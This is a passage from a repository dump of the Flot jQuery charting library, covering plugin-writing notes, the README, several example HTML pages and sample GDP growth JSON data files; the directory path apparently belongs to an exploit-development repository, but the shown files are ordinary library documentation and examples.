 81 | 
 82 |  - It uses the anonymous function trick to avoid name pollution.
 83 |  - It can be enabled/disabled through an option.
 84 |  - Variables in the init function can be used to store plot-specific
 85 |    state between the hooks.
 86 | 
 87 | The two last points are important because there may be multiple plots
 88 | on the same page, and you'd want to make sure they are not mixed up.
 89 | 
 90 | 
 91 | Shutting down a plugin
 92 | ----------------------
 93 | 
 94 | Each plot object has a shutdown hook which is run when plot.shutdown()
 95 | is called. This usually mostly happens in case another plot is made on
 96 | top of an existing one.
 97 | 
 98 | The purpose of the hook is to give you a chance to unbind any event
 99 | handlers you've registered and remove any extra DOM things you've
100 | inserted.
101 | 
102 | The problem with event handlers is that you can have registered a
103 | handler which is run in some point in the future, e.g. with
104 | setTimeout(). Meanwhile, the plot may have been shutdown and removed,
105 | but because your event handler is still referencing it, it can't be
106 | garbage collected yet, and worse, if your handler eventually runs, it
107 | may overwrite stuff on a completely different plot.
108 | 
109 |  
110 | Some hints on the options
111 | -------------------------
112 |    
113 | Plugins should always support appropriate options to enable/disable
114 | them because the plugin user may have several plots on the same page
115 | where only one should use the plugin. In most cases it's probably a
116 | good idea if the plugin is turned off rather than on per default, just
117 | like most of the powerful features in Flot.
118 | 
119 | If the plugin needs options that are specific to each series, like the
120 | points or lines options in core Flot, you can put them in "series" in
121 | the options object, e.g.
122 | 
123 |   var options = {
124 |     series: {
125 |       downsample: {
126 |         algorithm: null,
127 |         maxpoints: 1000
128 |       }
129 |     }
130 |   }
131 | 
132 | Then they will be copied by Flot into each series, providing default
133 | values in case none are specified.
134 | 
135 | Think hard and long about naming the options. These names are going to
136 | be public API, and code is going to depend on them if the plugin is
137 | successful.
138 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/README.txt:
--------------------------------------------------------------------------------
 1 | About
 2 | -----
 3 | 
 4 | Flot is a Javascript plotting library for jQuery. Read more at the
 5 | website:
 6 | 
 7 |   http://code.google.com/p/flot/
 8 | 
 9 | Take a look at the examples linked from above, they should give a good
10 | impression of what Flot can do and the source code of the examples is
11 | probably the fastest way to learn how to use Flot.
12 |   
13 | 
14 | Installation
15 | ------------
16 | 
17 | Just include the Javascript file after you've included jQuery.
18 | 
19 | Generally, all browsers that support the HTML5 canvas tag are
20 | supported.
21 | 
22 | For support for Internet Explorer < 9, you can use Excanvas, a canvas
23 | emulator; this is used in the examples bundled with Flot. You just
24 | include the excanvas script like this:
25 | 
26 |   <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="excanvas.min.js"></script><![endif]-->
27 | 
28 | If it's not working on your development IE 6.0, check that it has
29 | support for VML which Excanvas is relying on. It appears that some
30 | stripped down versions used for test environments on virtual machines
31 | lack the VML support.
32 | 
33 | You can also try using Flashcanvas (see
34 | http://code.google.com/p/flashcanvas/), which uses Flash to do the
35 | emulation. Although Flash can be a bit slower to load than VML, if
36 | you've got a lot of points, the Flash version can be much faster
37 | overall. Flot contains some wrapper code for activating Excanvas which
38 | Flashcanvas is compatible with.
39 | 
40 | You need at least jQuery 1.2.6, but try at least 1.3.2 for interactive
41 | charts because of performance improvements in event handling.
42 | 
43 | 
44 | Basic usage
45 | -----------
46 | 
47 | Create a placeholder div to put the graph in:
48 | 
49 |    <div id="placeholder"></div>
50 | 
51 | You need to set the width and height of this div, otherwise the plot
52 | library doesn't know how to scale the graph. You can do it inline like
53 | this:
54 | 
55 |    <div id="placeholder" style="width:600px;height:300px"></div>
56 | 
57 | You can also do it with an external stylesheet. Make sure that the
58 | placeholder isn't within something with a display:none CSS property -
59 | in that case, Flot has trouble measuring label dimensions which
60 | results in garbled looks and might have trouble measuring the
61 | placeholder dimensions which is fatal (it'll throw an exception).
62 | 
63 | Then when the div is ready in the DOM, which is usually on document
64 | ready, run the plot function:
65 | 
66 |   $.plot($("#placeholder"), data, options);
67 | 
68 | Here, data is an array of data series and options is an object with
69 | settings if you want to customize the plot. Take a look at the
70 | examples for some ideas of what to put in or look at the reference
71 | in the file "API.txt". Here's a quick example that'll draw a line from
72 | (0, 0) to (1, 1):
73 | 
74 |   $.plot($("#placeholder"), [ [[0, 0], [1, 1]] ], { yaxis: { max: 1 } });
75 | 
76 | The plot function immediately draws the chart and then returns a plot
77 | object with a couple of methods.
78 | 
79 | 
80 | What's with the name?
81 | ---------------------
82 | 
83 | First: it's pronounced with a short o, like "plot". Not like "flawed".
84 | 
85 | So "Flot" rhymes with "plot".
86 | 
87 | And if you look up "flot" in a Danish-to-English dictionary, some up
88 | the words that come up are "good-looking", "attractive", "stylish",
89 | "smart", "impressive", "extravagant". One of the main goals with Flot
90 | is pretty looks.
91 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/ajax.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  2 | <html>
  3 |  <head>
  4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5 |     <title>Flot Examples</title>
  6 |     <link href="layout.css" rel="stylesheet" type="text/css">
  7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
  8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
  9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
 10 |  </head>
 11 |     <body>
 12 |     <h1>Flot Examples</h1>
 13 | 
 14 |     <div id="placeholder" style="width:600px;height:300px;"></div>
 15 | 
 16 |     <p>Example of loading data dynamically with AJAX. Percentage change in GDP (source: <a href="http://epp.eurostat.ec.europa.eu/tgm/table.do?tab=table&init=1&plugin=1&language=en&pcode=tsieb020">Eurostat</a>). Click the buttons below.</p>
 17 | 
 18 |     <p>The data is fetched over HTTP, in this case directly from text
 19 |     files. Usually the URL would point to some web server handler
 20 |     (e.g. a PHP page or Java/.NET/Python/Ruby on Rails handler) that
 21 |     extracts it from a database and serializes it to JSON.</p>
 22 | 
 23 |     <p>
 24 |       <input class="fetchSeries" type="button" value="First dataset"> -
 25 |       <a href="data-eu-gdp-growth.json">data</a> -
 26 |       <span></span>
 27 |     </p>
 28 | 
 29 |     <p>
 30 |       <input class="fetchSeries" type="button" value="Second dataset"> -
 31 |       <a href="data-japan-gdp-growth.json">data</a> -
 32 |       <span></span>
 33 |     </p>
 34 | 
 35 |     <p>
 36 |       <input class="fetchSeries" type="button" value="Third dataset"> -
 37 |       <a href="data-usa-gdp-growth.json">data</a> -
 38 |       <span></span>
 39 |     </p>
 40 | 
 41 |     <p>If you combine AJAX with setTimeout, you can poll the server
 42 |        for new data.</p>
 43 | 
 44 |     <p>
 45 |       <input class="dataUpdate" type="button" value="Poll for data">
 46 |     </p>
 47 | 
 48 | <script type="text/javascript">
 49 | $(function () {
 50 |     var options = {
 51 |         lines: { show: true },
 52 |         points: { show: true },
 53 |         xaxis: { tickDecimals: 0, tickSize: 1 }
 54 |     };
 55 |     var data = [];
 56 |     var placeholder = $("#placeholder");
 57 |     
 58 |     $.plot(placeholder, data, options);
 59 | 
 60 |     
 61 |     // fetch one series, adding to what we got
 62 |     var alreadyFetched = {};
 63 |     
 64 |     $("input.fetchSeries").click(function () {
 65 |         var button = $(this);
 66 |         
 67 |         // find the URL in the link right next to us 
 68 |         var dataurl = button.siblings('a').attr('href');
 69 | 
 70 |         // then fetch the data with jQuery
 71 |         function onDataReceived(series) {
 72 |             // extract the first coordinate pair so you can see that
 73 |             // data is now an ordinary Javascript object
 74 |             var firstcoordinate = '(' + series.data[0][0] + ', ' + series.data[0][1] + ')';
 75 | 
 76 |             button.siblings('span').text('Fetched ' + series.label + ', first point: ' + firstcoordinate);
 77 | 
 78 |             // let's add it to our current data
 79 |             if (!alreadyFetched[series.label]) {
 80 |                 alreadyFetched[series.label] = true;
 81 |                 data.push(series);
 82 |             }
 83 |             
 84 |             // and plot all we got
 85 |             $.plot(placeholder, data, options);
 86 |          }
 87 |         
 88 |         $.ajax({
 89 |             url: dataurl,
 90 |             method: 'GET',
 91 |             dataType: 'json',
 92 |             success: onDataReceived
 93 |         });
 94 |     });
 95 | 
 96 | 
 97 |     // initiate a recurring data update
 98 |     $("input.dataUpdate").click(function () {
 99 |         // reset data
100 |         data = [];
101 |         alreadyFetched = {};
102 |         
103 |         $.plot(placeholder, data, options);
104 | 
105 |         var iteration = 0;
106 |         
107 |         function fetchData() {
108 |             ++iteration;
109 | 
110 |             function onDataReceived(series) {
111 |                 // we get all the data in one go, if we only got partial
112 |                 // data, we could merge it with what we already got
113 |                 data = [ series ];
114 |                 
115 |                 $.plot($("#placeholder"), data, options);
116 |             }
117 |         
118 |             $.ajax({
119 |                 // usually, we'll just call the same URL, a script
120 |                 // connected to a database, but in this case we only
121 |                 // have static example files so we need to modify the
122 |                 // URL
123 |                 url: "data-eu-gdp-growth-" + iteration + ".json",
124 |                 method: 'GET',
125 |                 dataType: 'json',
126 |                 success: onDataReceived
127 |             });
128 |             
129 |             if (iteration < 5)
130 |                 setTimeout(fetchData, 1000);
131 |             else {
132 |                 data = [];
133 |                 alreadyFetched = {};
134 |             }
135 |         }
136 | 
137 |         setTimeout(fetchData, 1000);
138 |     });
139 | });
140 | </script>
141 | 
142 |  </body>
143 | </html>
144 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/annotating.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px;"></div>
15 | 
16 |     <p>Flot has support for simple background decorations such as
17 |     lines and rectangles. They can be useful for marking up certain
18 |     areas. You can easily add any HTML you need with standard DOM
19 |     manipulation, e.g. for labels. For drawing custom shapes there is
20 |     also direct access to the canvas.</p>
21 | 
22 | <script type="text/javascript">
23 | $(function () {
24 |     // generate a dataset
25 |     var d1 = [];
26 |     for (var i = 0; i < 20; ++i)
27 |         d1.push([i, Math.sin(i)]);
28 |     
29 |     var data = [{ data: d1, label: "Pressure", color: "#333" }];
30 | 
31 |     // setup background areas
32 |     var markings = [
33 |         { color: '#f6f6f6', yaxis: { from: 1 } },
34 |         { color: '#f6f6f6', yaxis: { to: -1 } },
35 |         { color: '#000', lineWidth: 1, xaxis: { from: 2, to: 2 } },
36 |         { color: '#000', lineWidth: 1, xaxis: { from: 8, to: 8 } }
37 |     ];
38 |     
39 |     var placeholder = $("#placeholder");
40 |     
41 |     // plot it
42 |     var plot = $.plot(placeholder, data, {
43 |         bars: { show: true, barWidth: 0.5, fill: 0.9 },
44 |         xaxis: { ticks: [], autoscaleMargin: 0.02 },
45 |         yaxis: { min: -2, max: 2 },
46 |         grid: { markings: markings }
47 |     });
48 | 
49 |     // add labels
50 |     var o;
51 | 
52 |     o = plot.pointOffset({ x: 2, y: -1.2});
53 |     // we just append it to the placeholder which Flot already uses
54 |     // for positioning
55 |     placeholder.append('<div style="position:absolute;left:' + (o.left + 4) + 'px;top:' + o.top + 'px;color:#666;font-size:smaller">Warming up</div>');
56 | 
57 |     o = plot.pointOffset({ x: 8, y: -1.2});
58 |     placeholder.append('<div style="position:absolute;left:' + (o.left + 4) + 'px;top:' + o.top + 'px;color:#666;font-size:smaller">Actual measurements</div>');
59 | 
60 |     // draw a little arrow on top of the last label to demonstrate
61 |     // canvas drawing
62 |     var ctx = plot.getCanvas().getContext("2d");
63 |     ctx.beginPath();
64 |     o.left += 4;
65 |     ctx.moveTo(o.left, o.top);
66 |     ctx.lineTo(o.left, o.top - 10);
67 |     ctx.lineTo(o.left + 10, o.top - 5);
68 |     ctx.lineTo(o.left, o.top);
69 |     ctx.fillStyle = "#000";
70 |     ctx.fill();
71 | });
72 | </script>
73 | 
74 |  </body>
75 | </html>
76 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/arrow-down.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/ff-hashleak/flot/examples/arrow-down.gif


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/arrow-left.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/ff-hashleak/flot/examples/arrow-left.gif


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/arrow-right.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/ff-hashleak/flot/examples/arrow-right.gif


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/arrow-up.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/ff-hashleak/flot/examples/arrow-up.gif


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/basic.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px;"></div>
15 | 
16 |     <p>Simple example. You don't need to specify much to get an
17 |        attractive look. Put in a placeholder, make sure you set its
18 |        dimensions (otherwise the plot library will barf) and call the
19 |        plot function with the data. The axes are automatically
20 |        scaled.</p>
21 | 
22 | <script type="text/javascript">
23 | $(function () {
24 |     var d1 = [];
25 |     for (var i = 0; i < 14; i += 0.5)
26 |         d1.push([i, Math.sin(i)]);
27 | 
28 |     var d2 = [[0, 3], [4, 8], [8, 5], [9, 13]];
29 | 
30 |     // a null signifies separate line segments
31 |     var d3 = [[0, 12], [7, 12], null, [7, 2.5], [12, 2.5]];
32 |     
33 |     $.plot($("#placeholder"), [ d1, d2, d3 ]);
34 | });
35 | </script>
36 | 
37 |  </body>
38 | </html>
39 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-eu-gdp-growth-1.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Europe (EU27)",
3 |     "data": [[1999, 3.0], [2000, 3.9]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-eu-gdp-growth-2.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Europe (EU27)",
3 |     "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-eu-gdp-growth-3.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Europe (EU27)",
3 |     "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-eu-gdp-growth-4.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Europe (EU27)",
3 |     "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-eu-gdp-growth-5.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Europe (EU27)",
3 |     "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-eu-gdp-growth.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Europe (EU27)",
3 |     "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-japan-gdp-growth.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "Japan",
3 |     "data": [[1999, -0.1], [2000, 2.9], [2001, 0.2], [2002, 0.3], [2003, 1.4], [2004, 2.7], [2005, 1.9], [2006, 2.0], [2007, 2.3], [2008, -0.7]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/data-usa-gdp-growth.json:
--------------------------------------------------------------------------------
1 | {
2 |     "label": "USA",
3 |     "data": [[1999, 4.4], [2000, 3.7], [2001, 0.8], [2002, 1.6], [2003, 2.5], [2004, 3.6], [2005, 2.9], [2006, 2.8], [2007, 2.0], [2008, 1.1]]
4 | }
5 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/graph-types.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px"></div>
15 | 
16 |     <p>Flot supports lines, points, filled areas, bars and any
17 |     combinations of these, in the same plot and even on the same data
18 |     series.</p>
19 | 
20 | <script type="text/javascript">
21 | $(function () {
22 |     var d1 = [];
23 |     for (var i = 0; i < 14; i += 0.5)
24 |         d1.push([i, Math.sin(i)]);
25 | 
26 |     var d2 = [[0, 3], [4, 8], [8, 5], [9, 13]];
27 | 
28 |     var d3 = [];
29 |     for (var i = 0; i < 14; i += 0.5)
30 |         d3.push([i, Math.cos(i)]);
31 | 
32 |     var d4 = [];
33 |     for (var i = 0; i < 14; i += 0.1)
34 |         d4.push([i, Math.sqrt(i * 10)]);
35 |     
36 |     var d5 = [];
37 |     for (var i = 0; i < 14; i += 0.5)
38 |         d5.push([i, Math.sqrt(i)]);
39 | 
40 |     var d6 = [];
41 |     for (var i = 0; i < 14; i += 0.5 + Math.random())
42 |         d6.push([i, Math.sqrt(2*i + Math.sin(i) + 5)]);
43 |                         
44 |     $.plot($("#placeholder"), [
45 |         {
46 |             data: d1,
47 |             lines: { show: true, fill: true }
48 |         },
49 |         {
50 |             data: d2,
51 |             bars: { show: true }
52 |         },
53 |         {
54 |             data: d3,
55 |             points: { show: true }
56 |         },
57 |         {
58 |             data: d4,
59 |             lines: { show: true }
60 |         },
61 |         {
62 |             data: d5,
63 |             lines: { show: true },
64 |             points: { show: true }
65 |         },
66 |         {
67 |             data: d6,
68 |             lines: { show: true, steps: true }
69 |         }
70 |     ]);
71 | });
72 | </script>
73 | 
74 |  </body>
75 | </html>
76 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/hs-2004-27-a-large_web.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/ff-hashleak/flot/examples/hs-2004-27-a-large_web.jpg


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/image.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.image.js"></script>
11 |  </head>
12 |  <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:400px;height:400px;"></div>
16 | 
17 |     <p>The Cat's Eye Nebula (<a href="http://hubblesite.org/gallery/album/nebula/pr2004027a/">picture from Hubble</a>).</p>
18 |     
19 |     <p>With the image plugin, you can plot images. This is for example
20 |     useful for getting ticks on complex prerendered visualizations.
21 |     Instead of inputting data points, you put in the images and where
22 |     their two opposite corners are supposed to be in plot space.</p>
23 | 
24 |     <p>Images represent a little further complication because you need
25 |     to make sure they are loaded before you can use them (Flot skips
26 |     incomplete images). The plugin comes with a couple of helpers
27 |     for doing that.</p>
28 | 
29 | <script type="text/javascript">
30 | $(function () {
31 |     var data = [ [ ["hs-2004-27-a-large_web.jpg", -10, -10, 10, 10] ] ];
32 |     var options = {
33 |             series: { images: { show: true } },
34 |             xaxis: { min: -8, max: 4 },
35 |             yaxis: { min: -8, max: 4 }
36 |     };
37 | 
38 |     $.plot.image.loadDataImages(data, options, function () {
39 |         $.plot($("#placeholder"), data, options);
40 |     });
41 | });
42 | </script>
43 | 
44 |  </body>
45 | </html>
46 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/index.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |  </head>
 8 |  <body>
 9 |     <h1>Flot Examples</h1>
10 | 
11 |     <p>Here are some examples for <a href="http://code.google.com/p/flot/">Flot</a>, the Javascript charting library for jQuery:</p>
12 | 
13 |     <ul>
14 |       <li><a href="basic.html">Basic example</a></li>
15 |       <li><a href="graph-types.html">Different graph types</a></li>
16 |       <li><a href="setting-options.html">Setting various options</a> and <a href="annotating.html">annotating a chart</a></li>
17 |       <li><a href="ajax.html">Updating graphs with AJAX</a> and <a href="realtime.html">real-time updates</a></li>
18 |     </ul>
19 | 
20 |     <p>Being interactive:</p>
21 |     
22 |     <ul>
23 |       <li><a href="turning-series.html">Turning series on/off</a></li>
24 |       <li><a href="selection.html">Rectangular selection support and zooming</a> and <a href="zooming.html">zooming with overview</a> (both with selection plugin)</li>
25 |       <li><a href="interacting.html">Interacting with the data points</a></li>
26 |       <li><a href="navigate.html">Panning and zooming</a> (with navigation plugin)</li>
27 |       <li><a href="resize.html">Automatically redraw when window is resized</a> (with resize plugin)</li>
28 |     </ul>
29 | 
30 |     <p>Various features:</p>
31 |     
32 |     <ul>
33 |       <li><a href="symbols.html">Using other symbols than circles for points</a> (with symbol plugin)</li>
34 |       <li><a href="time.html">Plotting time series</a> and <a href="visitors.html">visitors per day with zooming and weekends</a> (with selection plugin)</li>
35 |       <li><a href="multiple-axes.html">Multiple axes</a> and <a href="interacting-axes.html">interacting with the axes</a></li>
36 |       <li><a href="thresholding.html">Thresholding the data</a> (with threshold plugin)</li>
37 |       <li><a href="stacking.html">Stacked charts</a> (with stacking plugin)</li>
38 |       <li><a href="percentiles.html">Using filled areas to plot percentiles</a> (with fillbetween plugin)</li>
39 |       <li><a href="tracking.html">Tracking curves with crosshair</a> (with crosshair plugin)</li>
40 |       <li><a href="image.html">Plotting prerendered images</a> (with image plugin)</li>
41 |       <li><a href="pie.html">Pie charts</a> (with pie plugin)</li>
42 |     </ul>
43 |  </body>
44 | </html>
45 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/interacting-axes.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px;"></div>
15 | 
16 |     <p>With multiple axes, you sometimes need to interact with them. A
17 |     simple way to do this is to draw the plot, deduce the axis
18 |     placements and insert a couple of divs on top to catch events.
19 |     Try clicking an axis.</p>
20 | 
21 |     <p id="click"></p>
22 | 
23 | <script type="text/javascript">
24 | $(function () {
25 |     function generate(start, end, fn) {
26 |         var res = [];
27 |         for (var i = 0; i <= 100; ++i) {
28 |             var x = start + i / 100 * (end - start);
29 |             res.push([x, fn(x)]);
30 |         }
31 |         return res;
32 |     }
33 | 
34 |     var data = [
35 |         { data: generate(0, 10, function (x) { return Math.sqrt(x)}), xaxis: 1, yaxis:1 },
36 |         { data: generate(0, 10, function (x) { return Math.sin(x)}), xaxis: 1, yaxis:2 },
37 |         { data: generate(0, 10, function (x) { return Math.cos(x)}), xaxis: 1, yaxis:3 },
38 |         { data: generate(2, 10, function (x) { return Math.tan(x)}), xaxis: 2, yaxis: 4 }
39 |     ];
40 | 
41 |     var plot = $.plot($("#placeholder"),
42 |                       data,
43 |                       {
44 |                           xaxes: [
45 |                               { position: 'bottom' },
46 |                               { position: 'top'}
47 |                           ],
48 |                           yaxes: [
49 |                               { position: 'left' },
50 |                               { position: 'left' },
51 |                               { position: 'right' },
52 |                               { position: 'left' }
53 |                           ]
54 |                       });
55 | 
56 |     // now for each axis, create a div
57 | 
58 |     function getBoundingBoxForAxis(plot, axis) {
59 |         var left = axis.box.left, top = axis.box.top,
60 |             right = left + axis.box.width, bottom = top + axis.box.height;
61 | 
62 |         // some ticks may stick out, enlarge the box to encompass all ticks
63 |         var cls = axis.direction + axis.n + 'Axis';
64 |         plot.getPlaceholder().find('.' + cls + ' .tickLabel').each(function () {
65 |             var pos = $(this).position();
66 |             left = Math.min(pos.left, left);
67 |             top = Math.min(pos.top, top);
68 |             right = Math.max(Math.round(pos.left) + $(this).outerWidth(), right);
69 |             bottom = Math.max(Math.round(pos.top) + $(this).outerHeight(), bottom);
70 |         });
71 |         
72 |         return { left: left, top: top, width: right - left, height: bottom - top };
73 |     }
74 |     
75 |     $.each(plot.getAxes(), function (i, axis) {
76 |         if (!axis.show)
77 |             return;
78 |         
79 |         var box = getBoundingBoxForAxis(plot, axis);
80 |         
81 |         $('<div class="axisTarget" style="position:absolute;left:' + box.left + 'px;top:' + box.top + 'px;width:' + box.width +  'px;height:' + box.height + 'px"></div>')
82 |             .data('axis.direction', axis.direction)
83 |             .data('axis.n', axis.n)
84 |             .css({ backgroundColor: "#f00", opacity: 0, cursor: "pointer" })
85 |             .appendTo(plot.getPlaceholder())
86 |             .hover(
87 |                 function () { $(this).css({ opacity: 0.10 }) },
88 |                 function () { $(this).css({ opacity: 0 }) }
89 |             )
90 |             .click(function () {
91 |                 $("#click").text("You clicked the " + axis.direction + axis.n + "axis!")
92 |             });
93 |     });
94 | });
95 | </script>
96 |  </body>
97 | </html>
98 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/interacting.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px"></div>
15 | 
16 |     <p>One of the goals of Flot is to support user interactions. Try
17 |     pointing and clicking on the points.</p>
18 | 
19 |     <p id="hoverdata">Mouse hovers at
20 |     (<span id="x">0</span>, <span id="y">0</span>). <span id="clickdata"></span></p>
21 | 
22 |     <p>A tooltip is easy to build with a bit of jQuery code and the
23 |     data returned from the plot.</p>
24 | 
25 |     <p><input id="enableTooltip" type="checkbox">Enable tooltip</p>
26 | 
27 | <script type="text/javascript">
28 | $(function () {
29 |     var sin = [], cos = [];
30 |     for (var i = 0; i < 14; i += 0.5) {
31 |         sin.push([i, Math.sin(i)]);
32 |         cos.push([i, Math.cos(i)]);
